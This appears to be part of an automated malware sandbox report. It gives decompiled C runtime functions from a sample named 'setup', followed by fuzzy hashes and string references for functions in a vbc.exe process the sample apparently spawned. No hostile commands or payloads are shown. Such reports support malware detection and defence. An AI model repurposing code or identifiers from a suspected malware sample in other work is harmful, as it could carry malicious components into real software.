						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x435d40;
								if(__eflags != 0) {
									_push(_t33);
									E004091A9(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x436168; // 0x1f11648
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x436168; // 0x1f11648
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E0040744E();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E004057E1(_t29, 0x20);
				}
				return E00406B49(_t33);
			}

0x004073b3
0x004073b3
0x004073b3
0x004073b3
0x004073b5
0x004073ba
0x004073c4
0x004073c6
0x004073ce
0x004073ef
0x004073f5
0x004073f9
0x004073fc
0x004073ff
0x00407405
0x00407407
0x00407409
0x0040740c
0x00407412
0x00407414
0x00407416
0x0040741c
0x0040741e
0x0040741f
0x00407424
0x0040741c
0x00407414
0x00407425
0x0040742a
0x0040742d
0x00407433
0x00407437
0x00407437
0x0040743d
0x00407444
0x004073d6
0x004073d6
0x004073d6
0x004073db
0x004073df
0x004073e4
0x004073ec

APIs

__getptd.LIBCMT ref: 004073BF

Part of subcall function 004067FE: __getptd_noexit.LIBCMT ref: 00406801
Part of subcall function 004067FE: __amsg_exit.LIBCMT ref: 0040680E

__amsg_exit.LIBCMT ref: 004073DF
__lock.LIBCMT ref: 004073EF
InterlockedDecrement.KERNEL32(?), ref: 0040740C
InterlockedIncrement.KERNEL32(01F11648), ref: 00407437

Memory Dump Source

Source File: 00000000.00000002.295903865.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.295896255.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295929317.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295940545.0000000000413000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295974446.0000000000414000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295999059.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_setup.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 5fce6655b67cf806d1d25b83a88ea9db37e793ccfa09863b75ecafff738be01a
Instruction ID: 64e8ec253f0450309f8f96f2fc732cf2a70ce9514a5a8044dcede695d493f8f2
Opcode Fuzzy Hash: 5fce6655b67cf806d1d25b83a88ea9db37e793ccfa09863b75ecafff738be01a
Instruction Fuzzy Hash: 97016131E04722ABEB20AB25984975AB7A0AB04714F11803FEC00B76D1C77C7D61DBDE

Uniqueness

Uniqueness Score: -1.00%

Function 004091A9 Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 43%

			E004091A9(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t10;
				intOrPtr _t13;
				intOrPtr _t23;
				void* _t25;

				_push(0xc);
				_push(0x411dc0);
				_t8 = E00406B04(__ebx, __edi, __esi);
				_t23 =  *((intOrPtr*)(_t25 + 8));
				if(_t23 == 0) {
					L9:
					return E00406B49(_t8);
				}
				if( *0x4376b4 != 3) {
					_push(_t23);
					L7:
					_t8 = HeapFree( *0x437074, 0, ??);
					_t31 = _t8;
					if(_t8 == 0) {
						_t10 = E004084B5(_t31);
						 *_t10 = E00408473(GetLastError());
					}
					goto L9;
				}
				E00408AAA(__ebx, __edi, 4);
				 *(_t25 - 4) =  *(_t25 - 4) & 0x00000000;
				_t13 = E004096F5(_t23);
				 *((intOrPtr*)(_t25 - 0x1c)) = _t13;
				if(_t13 != 0) {
					_push(_t23);
					_push(_t13);
					E00409725();
				}
				 *(_t25 - 4) = 0xfffffffe;
				_t8 = E004091FF();
				if( *((intOrPtr*)(_t25 - 0x1c)) != 0) {
					goto L9;
				} else {
					_push( *((intOrPtr*)(_t25 + 8)));
					goto L7;
				}
			}

0x004091a9
0x004091ab
0x004091b0
0x004091b5
0x004091ba
0x00409231
0x00409236
0x00409236
0x004091c3
0x00409208
0x00409209
0x00409211
0x00409217
0x00409219
0x0040921b
0x0040922e
0x00409230
0x00000000
0x00409219
0x004091c7
0x004091cd
0x004091d2
0x004091d8
0x004091dd
0x004091df
0x004091e0
0x004091e1
0x004091e7
0x004091e8
0x004091ef
0x004091f8
0x00000000
0x004091fa
0x004091fa
0x00000000
0x004091fa

APIs

__lock.LIBCMT ref: 004091C7

Part of subcall function 00408AAA: __mtinitlocknum.LIBCMT ref: 00408AC0
Part of subcall function 00408AAA: __amsg_exit.LIBCMT ref: 00408ACC
Part of subcall function 00408AAA: EnterCriticalSection.KERNEL32(?,?,?,0040D336,00000004,00411E40,0000000C,00409292,00404B06,?,00000000,00000000,00000000,?,004067B0,00000001), ref: 00408AD4

___sbh_find_block.LIBCMT ref: 004091D2
___sbh_free_block.LIBCMT ref: 004091E1
HeapFree.KERNEL32(00000000,00404B06,00411DC0,0000000C,00408A8B,00000000,00411D40,0000000C,00408AC5,00404B06,?,?,0040D336,00000004,00411E40,0000000C), ref: 00409211
GetLastError.KERNEL32(?,0040D336,00000004,00411E40,0000000C,00409292,00404B06,?,00000000,00000000,00000000,?,004067B0,00000001,00000214), ref: 00409222

Memory Dump Source

Source File: 00000000.00000002.295903865.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.295896255.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295929317.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295940545.0000000000413000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295974446.0000000000414000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295999059.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_setup.jbxd

Yara matches

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 91bfecf14213c94168a99e270cc09653fb71e441c9e717acd7b3e7c596dba32c
Instruction ID: 764a7b1c69b7b59683f3c4b5fbeb82897d495fa2eb44230483baab0b505034a6
Opcode Fuzzy Hash: 91bfecf14213c94168a99e270cc09653fb71e441c9e717acd7b3e7c596dba32c
Instruction Fuzzy Hash: 94018F71905212AAEB206F72AC0AB5E3BA49F00364F10457FF144B61D3DE3C9D409A9D

Uniqueness

Uniqueness Score: -1.00%

Function 00405603 Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00405603(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00404EF4(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E00404FE4(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E00405509(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E0040544E(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x00405608
0x0040560e
0x00405681
0x00000000
0x00405615
0x00405615
0x00405618
0x00405633
0x00405636
0x00405656
0x00405668
0x00405638
0x00405638
0x0040563b
0x00000000
0x0040563d
0x0040564f
0x0040564f
0x0040563b
0x00405686
0x0040568a
0x0040561a
0x00405632
0x00405632
0x00405618

APIs

__cftof_l.LIBCMT ref: 00405629

Part of subcall function 0040544E: __fltout2.LIBCMT ref: 0040547A

__cftog_l.LIBCMT ref: 0040564F
__cftoe_l.LIBCMT ref: 00405681

Memory Dump Source

Source File: 00000000.00000002.295903865.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.295896255.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295929317.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295940545.0000000000413000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295974446.0000000000414000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295999059.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_setup.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 46b296297c626a1ff4c0c6d3bf2e3330018cb1d68b891e581c8e8a93b4c22e47
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 1811723244054ABBCF125E85DC01CEE3F22FB18354F998926FA1865171C63BC9B2AF89

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: vbc.exePID: 860, Parent PID: 3648COMMON

Executed Functions

Function 09492C88 Relevance: 14.8, Strings: 11, Instructions: 1074COMMON

Download Yara Rule

Strings

gE, xrefs: 0949377E
gE, xrefs: 094937E9
gE, xrefs: 09492E13
gE, xrefs: 09493184
gE, xrefs: 09493719
gE, xrefs: 094932C5
gE, xrefs: 09493351
gE, xrefs: 09492E83
gE, xrefs: 09493861
gE, xrefs: 09493936
gE, xrefs: 094938C6

Memory Dump Source

Source File: 00000002.00000002.469942254.0000000009490000.00000040.00000800.00020000.00000000.sdmp, Offset: 09490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9490000_vbc.jbxd

Similarity

API ID:
String ID: gE$gE$gE$gE$gE$gE$gE$gE$gE$gE$gE
API String ID: 0-727008181
Opcode ID: c571d82290c96d8ee392cb7f91458dda36095203751f66a87ea8fb781a1beb22
Instruction ID: ecb320d80ff8036d55c27127a3933aa8df9da844b0c076144231d71a21b86abd
Opcode Fuzzy Hash: c571d82290c96d8ee392cb7f91458dda36095203751f66a87ea8fb781a1beb22
Instruction Fuzzy Hash: 0092AE347002059FCB14DFB5C485AAEBBB2FF89314F10896AE9169B762DB34EC45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 094C665E Relevance: 10.3, Strings: 8, Instructions: 318COMMON

Download Yara Rule

Strings

gE, xrefs: 094C684F
gE, xrefs: 094C67DF
gE, xrefs: 094C6935
gE, xrefs: 094C670C
gE, xrefs: 094C6784
gE, xrefs: 094C68C6
gE, xrefs: 094C66B1
gE, xrefs: 094C6996

Memory Dump Source

Source File: 00000002.00000002.471079857.00000000094C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_94c0000_vbc.jbxd

Similarity

API ID:
String ID: gE$gE$gE$gE$gE$gE$gE$gE
API String ID: 0-1370318666
Opcode ID: 0f6f926857bf235bc77bd330d2788e2265aa7f7f7de18a6aeb67c6a007059dab
Instruction ID: cb357fcae73dff091ce0b49bf6cfb9a72bb79910490876099982cfa43c1d2a09
Opcode Fuzzy Hash: 0f6f926857bf235bc77bd330d2788e2265aa7f7f7de18a6aeb67c6a007059dab
Instruction Fuzzy Hash: 6FC192787002029FCB54DF75C485B6AB7A6EF84305F41C92ED9468BB62DB70EC49CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0949E48C Relevance: 5.5, Strings: 4, Instructions: 539COMMON

Download Yara Rule

Strings

(E, xrefs: 0949E9C3
8uG, xrefs: 0949E63E
AJ, xrefs: 0949EB28
8uG, xrefs: 0949E739

Memory Dump Source

Source File: 00000002.00000002.469942254.0000000009490000.00000040.00000800.00020000.00000000.sdmp, Offset: 09490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9490000_vbc.jbxd

Similarity

API ID:
String ID: 8uG$8uG$AJ$(E
API String ID: 0-2549343549
Opcode ID: 3a53568056eb8ab404fc7eb8f838eaed8c138a1452781501812c16331481c7d2
Instruction ID: b8dae8723e8c9db6265bf32013075c838e588be670e04d995c4a7dc2fbccd0cf
Opcode Fuzzy Hash: 3a53568056eb8ab404fc7eb8f838eaed8c138a1452781501812c16331481c7d2
Instruction Fuzzy Hash: 7612CD30B043409FCB19DB75D855A6F7BA2AFC9311B5484AAE846CB792DF34DC06C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 094C5F00 Relevance: 4.4, Strings: 3, Instructions: 620COMMON

Download Yara Rule

Strings

4PGk, xrefs: 094C635D
$%K, xrefs: 094C60DF
tuK, xrefs: 094C64A6

Memory Dump Source

Source File: 00000002.00000002.471079857.00000000094C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_94c0000_vbc.jbxd

Similarity

API ID:
String ID: $%K$4PGk$tuK
API String ID: 0-4198175899
Opcode ID: 49771fcd90493fffd26653bc85613fd9d0b729851da3077f00f22dc08f111155
Instruction ID: 2d8796ffd6f6d16b6b3b37c91e43ecff20b2dd1cae2a6bf5f4c236b70820aa5b
Opcode Fuzzy Hash: 49771fcd90493fffd26653bc85613fd9d0b729851da3077f00f22dc08f111155
Instruction Fuzzy Hash: E132BE78B042058FCB54DF65D484AAEBBF2AF88311F15846EE406DB362DB34DC46CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 09494B38 Relevance: 2.8, Strings: 2, Instructions: 339COMMON

Download Yara Rule

Strings

dE, xrefs: 09494BDD
{E, xrefs: 09494DF3

Memory Dump Source

Source File: 00000002.00000002.469942254.0000000009490000.00000040.00000800.00020000.00000000.sdmp, Offset: 09490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9490000_vbc.jbxd

Similarity

API ID:
String ID: {E$dE
API String ID: 0-380513681
Opcode ID: fbaa2d7ff8479162d283e84b507c2f1f00f1aed3c5ebbad76b2a44786f9e2ea3
Instruction ID: d74f906f523a8ba6e32bf1d55d11f677e59aa08cbeb7a6a04221714b8e85b10f
Opcode Fuzzy Hash: fbaa2d7ff8479162d283e84b507c2f1f00f1aed3c5ebbad76b2a44786f9e2ea3
Instruction Fuzzy Hash: 26D15A34B10215DFCB14DF69D494A6EBBF2BF88314B65846AE8069B361DB30ED42CB91

Uniqueness

Uniqueness Score: -1.00%

Function 09490BE8 Relevance: .8, Instructions: 756COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.469942254.0000000009490000.00000040.00000800.00020000.00000000.sdmp, Offset: 09490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9490000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a7d553753fc1e05f64dcef2e527009f3048ad912585882f1309333c5d42b6c9
Instruction ID: c228fe26dda76a1d41723c4ba4740223a6e7f9dc80b007dbaa0ae336f90cefc6
Opcode Fuzzy Hash: 3a7d553753fc1e05f64dcef2e527009f3048ad912585882f1309333c5d42b6c9
Instruction Fuzzy Hash: A362FA34B00255CFCB14DF64C855BAEBBB2AF89305F1085AAE90AAB391DF349D85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00A40908 Relevance: .5, Instructions: 499COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416548224.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a40000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5aace14b1201a9409128f1619d4d274f78d615bab9a85d5a1b3b991abbaa3018
Instruction ID: 32e81ebf4f1ba57293c28a31981aedbc301c8662833b161eefe4af221a781e4a
Opcode Fuzzy Hash: 5aace14b1201a9409128f1619d4d274f78d615bab9a85d5a1b3b991abbaa3018
Instruction Fuzzy Hash: 84221274905228CFDB65DF20C984BD9BBB2FF8A305F0181E9D109AB2A1DB359E85DF40

Uniqueness

Uniqueness Score: -1.00%

Function 094C6AA1 Relevance: 12.6, Strings: 10, Instructions: 119COMMON

Download Yara Rule

Strings

gE, xrefs: 094C6E9A
gE, xrefs: 094C711C
gE, xrefs: 094C6F95
gE, xrefs: 094C6D49
gE, xrefs: 094C6CC6
gE, xrefs: 094C701E
gE, xrefs: 094C6F1B
gE, xrefs: 094C7098
gE, xrefs: 094C6E23
cdg, xrefs: 094C6DBB

Memory Dump Source

Source File: 00000002.00000002.471079857.00000000094C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_94c0000_vbc.jbxd

Similarity

API ID:
String ID: cdg$gE$gE$gE$gE$gE$gE$gE$gE$gE
API String ID: 0-2140175609
Opcode ID: 65134140409ee57b0b4fcf7a00adb822a2b6b863cbfa19db04e611e66f1dc68d
Instruction ID: 28215dd9aa12aad9164789fb28f167a932c6b5bf8a6745c88a67b4488b6d3cdc
Opcode Fuzzy Hash: 65134140409ee57b0b4fcf7a00adb822a2b6b863cbfa19db04e611e66f1dc68d
Instruction Fuzzy Hash: 6B41B2B4B04A129FDB989A34C455B7A37E2EB89710F15846EE006CB3A1EF35CC41C751

Uniqueness

Uniqueness Score: -1.00%

Function 0949960A Relevance: 9.6, Strings: 7, Instructions: 806COMMON

Download Yara Rule

Strings

8uG, xrefs: 09499828
hoE, xrefs: 09499920
8uG, xrefs: 09499875
8wG, xrefs: 09499849
b, xrefs: 09499649
hoE, xrefs: 09499E70
hoE, xrefs: 09499C2F

Memory Dump Source

Source File: 00000002.00000002.469942254.0000000009490000.00000040.00000800.00020000.00000000.sdmp, Offset: 09490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9490000_vbc.jbxd

Similarity

API ID:
String ID: 8uG$8uG$8wG$b$hoE$hoE$hoE
API String ID: 0-2876238074
Opcode ID: 539e9ab28e46d856d27041f83ff8082b4eaee2da3952201a2e8438de00101983
Instruction ID: c01fc1a1dad9033b27982a8fcf6f25e100965621fb4ed5c53896561764d487ea
Opcode Fuzzy Hash: 539e9ab28e46d856d27041f83ff8082b4eaee2da3952201a2e8438de00101983
Instruction Fuzzy Hash: F952BE307143498FCF15DBB8D895AAEBBB6EFC9214B24816ED402DB795DB348C06CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0949F7D3 Relevance: 7.9, Strings: 6, Instructions: 353COMMON

Download Yara Rule

Strings

gE, xrefs: 0949F726
gE, xrefs: 0949F7DE
gE, xrefs: 0949F95E
gE, xrefs: 0949F8D2
gE, xrefs: 0949F866
`6E, xrefs: 0949F937

Memory Dump Source

Source File: 00000002.00000002.469942254.0000000009490000.00000040.00000800.00020000.00000000.sdmp, Offset: 09490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9490000_vbc.jbxd

Similarity

API ID:
String ID: `6E$gE$gE$gE$gE$gE
API String ID: 0-3039662908
Opcode ID: 4090528d51a25e38e485043ff85b9371dc86f2a457c573745cc3c643cbd9dc6b
Instruction ID: 1652765857751e3c58f2f930c39d7ae4b25353277cf6bbe45be8b029f41e9a3c
Opcode Fuzzy Hash: 4090528d51a25e38e485043ff85b9371dc86f2a457c573745cc3c643cbd9dc6b
Instruction Fuzzy Hash: 9CE14B34A10205DFDB14DFB4D498AADBBB2EF84315F5084AAE4169F761DB30EC4ACB90

Uniqueness

Uniqueness Score: -1.00%

Function 094C8C38 Relevance: 7.8, Strings: 6, Instructions: 325COMMON

Download Yara Rule

Strings

gE, xrefs: 094C8E9C
gE, xrefs: 094C8E01
gE, xrefs: 094C8C75
gE, xrefs: 094C8FF3
gE, xrefs: 094C8D8F
gE, xrefs: 094C8F0A

Memory Dump Source

Source File: 00000002.00000002.471079857.00000000094C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_94c0000_vbc.jbxd

Similarity

API ID:
String ID: gE$gE$gE$gE$gE$gE
API String ID: 0-1052080275
Opcode ID: 68d127cc4e85c85bf8fe00efd67fa49dde26922b508b1c18ae986ba590f45fc7
Instruction ID: 03860fb1c35472d7d495557ae8221654d5b85f6d87f8e67783d8e8b24703d058
Opcode Fuzzy Hash: 68d127cc4e85c85bf8fe00efd67fa49dde26922b508b1c18ae986ba590f45fc7
Instruction Fuzzy Hash: ABD14A78A002059FCB44DF65C485AAEB7B2FF84305F54C92EE8459BB65DB30AC49CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 094C1C30 Relevance: 6.6, Strings: 5, Instructions: 379COMMON

Download Yara Rule

Strings

x3K, xrefs: 094C1CD3
8cdg, xrefs: 094C1FD4
plJ, xrefs: 094C1D0C
8cdg, xrefs: 094C1FDC
LmJ, xrefs: 094C1DDE

Memory Dump Source

Source File: 00000002.00000002.471079857.00000000094C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_94c0000_vbc.jbxd

Similarity

API ID:
String ID: 8cdg$8cdg$LmJ$plJ$x3K
API String ID: 0-2513129604
Opcode ID: b6cd916de1a006d20ea9c1f84f0e8bc178b9c0e56b3ae54cd0e23a4a1378c93a
Instruction ID: 4a35c7ef4faa5de7314b4211f9e62e94ac2a1a3ddcdb3ba89823955da145a6cb
Opcode Fuzzy Hash: b6cd916de1a006d20ea9c1f84f0e8bc178b9c0e56b3ae54cd0e23a4a1378c93a
Instruction Fuzzy Hash: 48D1B2797092008FD795DF29D494A6AB7E2EF89361B1480AFE805CF352DB36EC42C791

Uniqueness

Uniqueness Score: -1.00%

Function 094C84E1 Relevance: 5.3, Strings: 4, Instructions: 280COMMON

Download Yara Rule

Strings

gE, xrefs: 094C86CB
gE, xrefs: 094C8737
gE, xrefs: 094C87A6
gE, xrefs: 094C8819

Memory Dump Source

Source File: 00000002.00000002.471079857.00000000094C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_94c0000_vbc.jbxd

Similarity

API ID:
String ID: gE$gE$gE$gE
API String ID: 0-4283374043
Opcode ID: 658cc4b5aa4d10614109b990dabfc45e36387089706b28affb211fb535c10921
Instruction ID: 9d7a7388b84db1b518f648e9ba7ac0fe2e1f0e61cc6cd1a74d7d9d78cd8a0d54
Opcode Fuzzy Hash: 658cc4b5aa4d10614109b990dabfc45e36387089706b28affb211fb535c10921
Instruction Fuzzy Hash: BCA1DF747003019FCB54EB71C451A6EB7A2AFC5311F40C92ED5468BB92EF34AD4987D2

Uniqueness

Uniqueness Score: -1.00%

Function 00A49A48 Relevance: 4.5, Strings: 2, Instructions: 1973COMMON

Download Yara Rule

Strings

E, xrefs: 00A4BA2E
E, xrefs: 00A4BA3E

Memory Dump Source

Source File: 00000002.00000002.416548224.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a40000_vbc.jbxd

Similarity

API ID:
String ID: E$E
API String ID: 0-969632375
Opcode ID: c5cf46362d84f2e30a80e5d33e635f0df69f4562bed0569e1195d3f1935e6fe1
Instruction ID: a75eda7e5eca3dd5445a967272a7276175e634a6c43dbbfff5514452e05aec7e
Opcode Fuzzy Hash: c5cf46362d84f2e30a80e5d33e635f0df69f4562bed0569e1195d3f1935e6fe1
Instruction Fuzzy Hash: A3131F78901209EFCB169B60D56499AB333FF8930AB1199AADC1236B51CF3F8853DF05

Uniqueness

Uniqueness Score: -1.00%

Function 094C7FDF Relevance: 4.0, Strings: 3, Instructions: 296COMMON

Download Yara Rule

Strings

cdg, xrefs: 094C83E5
gE, xrefs: 094C8373
gE, xrefs: 094C82F0

Memory Dump Source

Source File: 00000002.00000002.471079857.00000000094C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_94c0000_vbc.jbxd

Similarity

API ID:
String ID: cdg$gE$gE
API String ID: 0-2398231539
Opcode ID: 34d4d2ebe74bcbb77e387f96ca15cd8ce8b590d1e4c7abdbd9ecadae781ba86b
Instruction ID: 4cf6a8087010b79e51351215578f081bc8887c421204ee3c2de790c419d91dde
Opcode Fuzzy Hash: 34d4d2ebe74bcbb77e387f96ca15cd8ce8b590d1e4c7abdbd9ecadae781ba86b
Instruction Fuzzy Hash: A7C18D746002058FCB54DF65C885AAEB7B6BF88314F44C92DD4469BB62DB34AC49CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 0949970A Relevance: 3.9, Strings: 3, Instructions: 188COMMON

Download Yara Rule

Strings

8uG, xrefs: 09499828
8uG, xrefs: 09499875
8wG, xrefs: 09499849

Memory Dump Source

Source File: 00000002.00000002.469942254.0000000009490000.00000040.00000800.00020000.00000000.sdmp, Offset: 09490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9490000_vbc.jbxd

Similarity

API ID:
String ID: 8uG$8uG$8wG
API String ID: 0-3599863482
Opcode ID: 57c16159c7ef882a677b3a0f21ade9ae1f2ac1b4bd8f7a2dd215d3641c894edd
Instruction ID: 24de526c9424de079c552a070f4705fca15b423a69d130659b25a9b0ff49c2f0
Opcode Fuzzy Hash: 57c16159c7ef882a677b3a0f21ade9ae1f2ac1b4bd8f7a2dd215d3641c894edd
Instruction Fuzzy Hash: E56125346043858FCB15DB74D8949EEBBB2FF89310B15806ED456DB792DB349C06CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 094C8288 Relevance: 3.9, Strings: 3, Instructions: 182COMMON

Download Yara Rule

Strings

cdg, xrefs: 094C83E5
gE, xrefs: 094C8373
gE, xrefs: 094C82F0

Memory Dump Source

Source File: 00000002.00000002.471079857.00000000094C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_94c0000_vbc.jbxd

Similarity

API ID:
String ID: cdg$gE$gE
API String ID: 0-2398231539
Opcode ID: 8e258e46810ef1d6ce73a538e4c8ba92a13b86440a12be83dda41eb9a9d2daaf
Instruction ID: 14bbf2a660c9273a8fd9531ab9a9fb872245a755943e1b4c7d4c38a63f99162d
Opcode Fuzzy Hash: 8e258e46810ef1d6ce73a538e4c8ba92a13b86440a12be83dda41eb9a9d2daaf
Instruction Fuzzy Hash: 48715B746002059FCB50DF65C4C4AAEB7B6FF88304F44C969E5469BB66DB30AC49CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 094996E3 Relevance: 3.9, Strings: 3, Instructions: 176COMMON

Download Yara Rule

Strings

8uG, xrefs: 09499828
8uG, xrefs: 09499875
8wG, xrefs: 09499849

Memory Dump Source

Source File: 00000002.00000002.469942254.0000000009490000.00000040.00000800.00020000.00000000.sdmp, Offset: 09490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9490000_vbc.jbxd

Similarity

API ID:
String ID: 8uG$8uG$8wG
API String ID: 0-3599863482
Opcode ID: 24b6161e37c8db418cdfff4a94955b62793c24e7793c047b94e7ca4b928bb677
Instruction ID: 052a4e8ebb08d8378212cb5c81a0bf48fe27eef3dae22935cc3afe1ff65e3486
Opcode Fuzzy Hash: 24b6161e37c8db418cdfff4a94955b62793c24e7793c047b94e7ca4b928bb677
Instruction Fuzzy Hash: E151E4346043898FCB15DB74D8949EEBFB2FF89310B15816ED846DB792DB345806CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 094CDE41 Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

HrGk, xrefs: 094CDED0
HrGk, xrefs: 094CDF34
HrGk, xrefs: 094CDF28

Memory Dump Source

Source File: 00000002.00000002.471079857.00000000094C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_94c0000_vbc.jbxd

Similarity

API ID:
String ID: HrGk$HrGk$HrGk
API String ID: 0-942084800
Opcode ID: bd124331c1fa426fc0280847dbfc079356d6b2a42bfd51d39c28acf78def78c0
Instruction ID: af6bf22c2c7481a7ddfc1907a006dc0cc33e04692a0f4900bb62854d9ef052de
Opcode Fuzzy Hash: bd124331c1fa426fc0280847dbfc079356d6b2a42bfd51d39c28acf78def78c0
Instruction Fuzzy Hash: D631CE34B042028FCB54EB68D4519AB7BA2FF85344B40463EF40ACB761EB34DD06CB92

Uniqueness

Uniqueness Score: -1.00%

Function 094C1750 Relevance: 3.8, Strings: 3, Instructions: 65COMMON

Download Yara Rule

Strings

8wG, xrefs: 094C17C1
x{G, xrefs: 094C176E
8uG, xrefs: 094C1762

Memory Dump Source

